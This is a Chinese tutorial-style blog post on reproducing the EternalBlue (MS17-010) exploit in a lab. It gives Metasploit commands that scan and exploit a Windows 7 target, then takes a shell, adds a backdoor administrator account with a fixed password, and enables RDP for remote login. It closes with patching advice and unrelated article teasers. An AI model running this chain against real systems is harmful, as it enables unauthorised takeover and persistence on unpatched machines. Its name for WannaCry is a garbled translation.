MS17-010（Eternal blue永恒之蓝）漏洞利用+修复方法

目录

一、漏洞简介

漏洞原理

影响版本

二、漏洞复现

三、复现过程

1、扫描局域网内的C段主机（主机发现）

扫描结果：

2.使用MSF的永恒之蓝漏洞模块

3.对主机进行扫描，查看其是否有永恒之蓝漏洞

4.准备攻击

四、漏洞利用

五、提升权限

1.创建新用户

2.将用户添加至管理员群组

3.查看端口的开启情况

六、远程登录

七、漏洞修复

一、漏洞简介

永恒之蓝（EternalBlue）是一个由美国国家安全局（NSA）开发的漏洞利用工具，最初在2017年由“影子经纪人”（Shadow Brokers）组织泄露。这个漏洞利用工具利用了Windows操作系统中的一个安全漏洞（CVE-2017-0144），允许攻击者远程执行代码，无需用户交互即可远程控制受感染的计算机。具体来说，它利用了Windows Server Message Block (SMB) v1协议中的漏洞，使得攻击者可以在目标系统上执行恶意代码，甚至可以在未经授权的情况下传播自身。

永恒之蓝漏洞的爆发引发了全球范围内的关注，尤其是在2017年的“惊叹号勒索软件”（WannaCry ransomware）攻击中，该漏洞被大规模利用，造成了数十万台计算机的感染和停机事件。这次攻击揭示了许多组织和公司在保护其网络安全方面的薄弱之处，也促使了更广泛的安全漏洞修复和网络防护措施的加强。

漏洞原理

永恒之蓝漏洞的利用基于Windows操作系统中的一个漏洞（CVE-2017-0144），主要涉及以下几个方面的技术细节：

  1. Windows SMB服务漏洞：漏洞利用了Windows操作系统中的Server Message Block (SMB) v1协议的一个安全漏洞。SMB协议是Windows系统用于文件和打印机共享的网络协议。

  2. 远程执行代码（RCE）：漏洞允许攻击者通过发送特制的网络数据包，无需用户交互即可远程执行恶意代码。这使得攻击者可以获取目标系统的控制权。

  3. 无需身份验证：攻击者可以在不需要凭据或者认证的情况下利用漏洞，这使得漏洞的利用更为危险和普遍。

影响版本

永恒之蓝漏洞主要影响以下版本的Windows操作系统：

  • Windows Vista

  • Windows Server 2008

  • Windows 7

  • Windows Server 2008 R2

二、漏洞复现

环境

  1. 攻击机：Linux kali （IP：192.168.220.128）

  2. 靶机：Windows 7 旗舰版（IP；192.168.220.133）

环境说明：Windows 7 防火墙关闭，445端口打开，两台主机之间可以ping通

三、复现过程

1、扫描局域网内的C段主机（主机发现）

扫描结果：

  1. 192.168.220.2

    • 只有一个端口开放：53/tcp（domain）。这可能是一台运行DNS服务的设备。

  2. 192.168.220.128

    • 所有扫描的1000个端口都处于“ignored states”状态，表示这台主机在扫描时未给出具体的端口状态信息。这可能是由于网络或主机的防火墙设置等原因导致的。

  3. 192.168.220.133

    • 多个端口开放，包括80/tcp（http）、135/tcp（msrpc）、139/tcp（netbios-ssn）、445/tcp（microsoft-ds）、5357/tcp（wsdapi）以及一系列高端口（49152-49165/tcp）。

    • 这表明这台主机可能是一台Windows主机，同时运行了HTTP服务、Microsoft RPC服务、NetBIOS服务、以及一些未知用途的高端口服务。

2.使用MSF的永恒之蓝漏洞模块

打开MSF

msfconsole

这个界面每次都不相同。

搜索漏洞代码：ms17_010

search ms17_010

这里可以看到26个可以利用的模块及其描述：

  1. exploit/windows/smb/ms17_010_eternalblue

    • 揭露日期：2017-03-14

    • 等级：average

    • 检查：Yes

    • 描述：MS17-010 EternalBlue SMB远程Windows内核池损坏漏洞利用，用于执行远程代码。

    目标包括：

    • Windows 7

    • Windows Embedded Standard 7

    • Windows Server 2008 R2

    • Windows 8

    • Windows 8.1

    • Windows Server 2012

    • Windows 10 Pro

    • Windows 10 Enterprise Evaluation

    这个模块利用了SMB服务上的漏洞，通常使用的是TCP端口445。

  2. exploit/windows/smb/ms17_010_psexec

    • 揭露日期：2017-03-14

    • 等级：normal

    • 检查：Yes

    • 描述：MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows代码执行漏洞利用。

    目标包括：

    • 自动目标

    • PowerShell

    • 本地上传（Native upload）

    • MOF上传（MOF upload）

    这个模块利用了SMB服务上的漏洞，同样使用的是TCP端口445。

  3. auxiliary/admin/smb/ms17_010_command

    • 揭露日期：2017-03-14

    • 等级：normal

    • 检查：No

    • 描述：MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows命令执行辅助模块。

    这个模块用于执行远程命令，同样是基于SMB服务上的漏洞，端口也是TCP端口445。

  4. auxiliary/scanner/smb/smb_ms17_010

    • 揭露日期：未指定

    • 等级：normal

    • 检查：No

    • 描述：MS17-010 SMB远程执行代码检测辅助模块。

    这个模块用于检测目标系统是否受到MS17-010漏洞的影响，同样基于SMB服务，端口是TCP端口445。

3.对主机进行扫描，查看其是否有永恒之蓝漏洞

使用模块24开始攻击：use 24，也可以用use scanner/smb/smb_ms17_010

用options查看需要设置的参数

设置目标主机set rhost 192.168.220.133,设置成功会返回rhost的值，用run开始

  • VULNERABLE to MS17-010：扫描结果显示目标主机存在MS17-010漏洞，即永恒之蓝漏洞。

  • 操作系统信息：目标主机运行的是 Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit) 操作系统。

4.准备攻击

使用模块0开始攻击：use 0，也可以用use windows/smb/ms17_010_eternalblue

查看需要设置的参数：options

设置目标ip地址

set rhost 192.168.220.133

run

看到win说明成功

四、漏洞利用

获取靶机shell

shell

乱码是因为linux和windows的编码方式不同导致

使用代码：chcp 65001

查看IP：ipconfig

五、提升权限

1.创建新用户

net user bai 123456 /add

bai是用户名，12456是密码

2.将用户添加至管理员群组

net localgroup administrators bai /add

3.查看端口的开启情况

netstat -ano

4.开启3389端口

输入exit退出命令行，在meterpreter中输入run post/windows/manage/enable_rdp

查看端口

成功开启3389端口

六、远程登录

打开一个新终端，输入rdesktop 192.168.220.133

中途会让确认，输入yes确认

选择其他用户

输入我们刚才新加的用户名和密码

登录成功！

七、漏洞修复

永恒之蓝漏洞（EternalBlue）是一个影响Windows操作系统的严重安全漏洞，可被用于远程执行代码攻击。微软已经发布了修复补丁来解决这个漏洞，以及其他相关的安全更新。以下是修复永恒之蓝漏洞的主要方法：

  1. 安装官方补丁：

    • 确保系统上安装了最新的安全补丁。微软已经发布了修复EternalBlue漏洞的补丁。您可以访问微软的官方网站或使用Windows Update来获取并安装最新的安全补丁。

  2. 更新操作系统：

    • 确保操作系统是最新的版本，并且所有的安全更新和补丁都已安装。及时更新操作系统是保持系统安全的重要步骤之一。

  3. 禁用不必要的服务：

    • 如果不需要使用远程桌面服务（RDP）或SMB服务，可以考虑禁用或限制它们的使用。尽可能减少系统暴露在外部攻击面。

  4. 配置防火墙：

    • 在防火墙上设置规则，限制远程访问和网络流量，防止未经授权的访问和攻击。

  5. 网络隔离：

    • 将重要的系统和网络基础设施隔离在内部网络中，减少来自外部网络的直接访问。

  6. 使用安全软件：

    • 安装和使用有效的安全软件，如防病毒软件、防火墙和入侵检测系统（IDS），帮助识别和阻止潜在的威胁。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/diannao/32122.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

C#健康体检信息管理系统成品源码，医院体检中心管理系统

C#健康体检信息管理系统成品源码，医院体检中心管理系统

健康体检信息管理系统覆盖体检中心的所有业务，完成从预约、登记、收费、检查、检验、出报告、分析、报表等所有工作，规范了体检流程，提高了工作效率。 体检系统开发环境： 技术架构：C/S架构 开发语言：C# …
阅读更多...
k8s volcano + deepspeed多机训练 + RDMA ROCE+ 用户权限安全方案【建议收藏】

k8s volcano + deepspeed多机训练 + RDMA ROCE+ 用户权限安全方案【建议收藏】

前提：nvidia、cuda、nvidia-fabricmanager等相关的组件已经在宿主机正确安装，如果没有安装可以参考我之前发的文章GPU A800 A100系列NVIDIA环境和PyTorch2.0基础环境配置【建议收藏】_a800多卡运行环境配置-CSDN博客文章浏览阅读1.1k次，点赞8…
阅读更多...
leetcode 动态规划（基础版）三角形最小路径和

leetcode 动态规划（基础版）三角形最小路径和

题目&#xff1a; 题解&#xff1a; 一种可行的方案是从下到上&#xff0c;避免了从上到下的下标特判。走到每一个位置的最小值等于该位置的上两个位置中的最小值加上该位置的值。 int minimumTotal(vector<vector<int>>& triangle) {int dp[205][205]{0};f…
阅读更多...
Desoutter智能拧紧中枢Connect过压维修

Desoutter智能拧紧中枢Connect过压维修

马头智能拧紧中枢过压维修是马头拧紧设备维护中的重要环节。当出现马头拧紧设备中枢过压现象时&#xff0c;会导致设备性能下降&#xff0c;甚至损坏设备&#xff0c;因此及时对过压中枢进行维修是保障设备正常运转的关键。 Desoutter电动螺丝刀控制器过压的原因可能有很多&am…
阅读更多...
Vue60-TodoList案例-全局事件总线

Vue60-TodoList案例-全局事件总线

一、全局事件总线的适用场景 虽然全局事件总线使用于任意组件之间的通信&#xff0c;但是没有必要处处用它。 数据在哪里&#xff0c;操作数据的方法就在哪里&#xff01; 二、TodoList案例-全局事件总线 适用于全局总线的场景&#xff1a;Item和App&#xff08;爷孙关系&…
阅读更多...
FFmpeg+javacpp+javacv使用

FFmpeg+javacpp+javacv使用

FFmpegjavacppjavacv使用 Bytedeco官网案例1、导入opencv、ffmpeg依赖包2、FFmpeg 数据结构2.1 AVFormatContext 格式化I/O上下文2.1.1 metadata2.1.2 Duration、start、bitrate等其他信息2.1.3 dump信息 Bytedeco GitHub&#xff1a;javacpp Bytedeco官网案例 FFmpeg – [示例…
阅读更多...
Qt Object：智能即时聊天室项目

Qt Object：智能即时聊天室项目

目录 1.项目介绍 2.设计思路 3.Pro文件配置 4.项目演示 5.项目开源 项目介绍 智能即时聊天室系统&#xff08;AIChatProject&#xff09;是一个高效、灵活的即时通讯解决方案。它融合了百度的开源大型语言模型——文心一言&#xff0c;通过API接口实现深度集成。系统专为聊天和…
阅读更多...
Ubuntu使用 NVIDIA GPU 和 CUDA 设置 LLM 的训练、微调和推理

Ubuntu使用 NVIDIA GPU 和 CUDA 设置 LLM 的训练、微调和推理

0.引言 近年来&#xff0c;人工智能领域取得了令人瞩目的进步&#xff0c;其核心是图形处理单元&#xff08;GPU&#xff09;和并行计算平台的强大组合。 大模型如 GPT、BER能够理解和生成具有前所未有的流畅性和连贯性的类人文本。然而&#xff0c;训练这些模型需要大量的数据…
阅读更多...
【SAP ME 42】关于SAP ME自定义开发中NWDS中配置JDK

【SAP ME 42】关于SAP ME自定义开发中NWDS中配置JDK

1、NWDS启动配置JDK -vm C:/Java/jdk1.8.0_361/bin 2、开发组件配置JDK
阅读更多...
基于Python+Flask+MySQL+HTML的B站数据可视化分析系统

基于Python+Flask+MySQL+HTML的B站数据可视化分析系统

FlaskMySQLVue 基于PythonFlaskMySQLHTML的B站数据可视化分析系统 项目采用前后端分离技术&#xff0c;项目包含完整的前端HTML&#xff0c;以及Flask构成完整的前后端分离系统 爬虫文件基于selenium&#xff0c;需要配合登录账号 简介 主页 登录页面&#xff0c;用户打开浏…
阅读更多...
YIA主题侧边栏如何添加3D旋转标签云？

YIA主题侧边栏如何添加3D旋转标签云？

WordPress站点侧边栏默认的标签云排版很一般&#xff0c;而3D旋转标签云就比较酷炫了。下面boke112百科就以YIA主题为例&#xff0c;跟大家说一说如何将默认的标签云修改成3D旋转标签云&#xff0c;具体步骤如下&#xff1a; 1、点此下载3d标签云文件&#xff08;密码&#xf…
阅读更多...
氢氧化铝佐剂，完美替代进口品牌明矾佐剂

氢氧化铝佐剂，完美替代进口品牌明矾佐剂

氢氧化铝佐剂 氢氧化铝佐剂是使用历史最为悠久的疫苗佐剂&#xff0c;已有近百年历史&#xff0c;广泛用于各种人用疫苗和兽用疫苗。氢氧化铝佐剂能够极大地促进体液免疫&#xff08;抗体&#xff09;反应和TH2类细胞免疫反应。 用途 1、免疫各种实验动物制备多克隆或单克隆抗…
阅读更多...
【大作业】今日事、今日毕任务管理系统

【大作业】今日事、今日毕任务管理系统

一份声明文档，描述你的程序的功能，包括你的输入输出、程序提供的数据、预期输出等内容。 这是一个任务管理系统，功能列表如下。 一、这是主界面： === 欢迎使用 今日事今日毕 任务管理系统 === 查看所有任务查看未完成任务查看已完成任务添加新任务标记任务为已完成修改当天…
阅读更多...
Oracle表中的数据量达到30万条

Oracle表中的数据量达到30万条

当Oracle表中的数据量达到30万条&#xff0c;并且查询性能过慢时&#xff0c;增加索引是一个有效的优化方案。以下是一些建议来增加索引以提高查询性能&#xff1a; 分析查询需求&#xff1a; 首先&#xff0c;需要明确哪些查询是经常执行的&#xff0c;以及这些查询的WHERE子…
阅读更多...
基于物理信息的深度神经网络模拟混凝土中氯离子的扩散

基于物理信息的深度神经网络模拟混凝土中氯离子的扩散

氯离子在混凝土中的扩散是一个复杂的化学物理过程，对混凝土腐蚀起始时间的预测具有重要意义。但考虑到混凝土的非线性氯离子结合能力，模拟氯离子扩散的方程是有限的。本研究提出了一种基于物理信息的深度神经网络来模拟氯离子在混凝土中的扩散机制并预测氯离子浓度的分布。物…
阅读更多...
数据挖掘与分析——特征选择

数据挖掘与分析——特征选择

数据读取 wine葡萄酒数据集是来自UCI的公开数据集&#xff0c;也scikit-learn库自带的数据集&#xff0c;它是对意大利同一地区种植的葡萄酒进行化学分析的结果&#xff0c;这些葡萄酒来自三个不同的品种。该分析确定了三种葡萄酒中每种葡萄酒中含有的13种成分的数量。 每行代…
阅读更多...
【Java面试】二十、JVM篇（上）：JVM结构

【Java面试】二十、JVM篇（上）：JVM结构

文章目录 1、JVM2、程序计数器3、堆4、栈4.1 垃圾回收是否涉及栈内存4.2 栈内存分配越大越好吗4.3 方法内的局部变量是否线程安全吗4.4 栈内存溢出的情况4.5 堆和栈的区别是什么 5、方法区5.1 常量池5.2 运行时常量池 6、直接内存 1、JVM Java源码编译成class字节码后&#xf…
阅读更多...
用C++做一个猫吃鱼的函数代码

用C++做一个猫吃鱼的函数代码

要求&#xff1a; 写一个类Fish&#xff0c;有品种和重量两个属性&#xff0c;属性的类型自己选择&#xff0c;要求属性封装。 写一个类Cat&#xff0c;Cat中有一个公有的成员函数&#xff1a; Fish& eat(Fish &f); eat函数的功能要求判断Fish的品种&#xff1a; ●如果…
阅读更多...
qt 获取系统主机名、UID序列号、以及磁盘空间等其他信息

qt 获取系统主机名、UID序列号、以及磁盘空间等其他信息

使用qt接口获取系统主机名、UID序列号、以及磁盘空间、当前网络传输速率&#xff0c;显卡参数等 void logPCInfo() { LOG_FUN(LOG_LEVEL_INFO, "Host Name: %s", QSysInfo::machineHostName().toStdString().c_str()); LOG_FUN(LOG_LEVEL_INFO, "Machin…
阅读更多...
Open3D点云处理学习

Open3D点云处理学习

Color ICP Colored point cloud registration — Open3D 0.11.0 documentation Colored point cloud registration - Open3D 0.18.0 documentation 展示了使用color-icp结果 对比gicp错误处理结果 intel自己的论文 Colored Point Cloud Registration Revisited 优化方程 参…
阅读更多...
最新文章

Copyright @ 2022~2023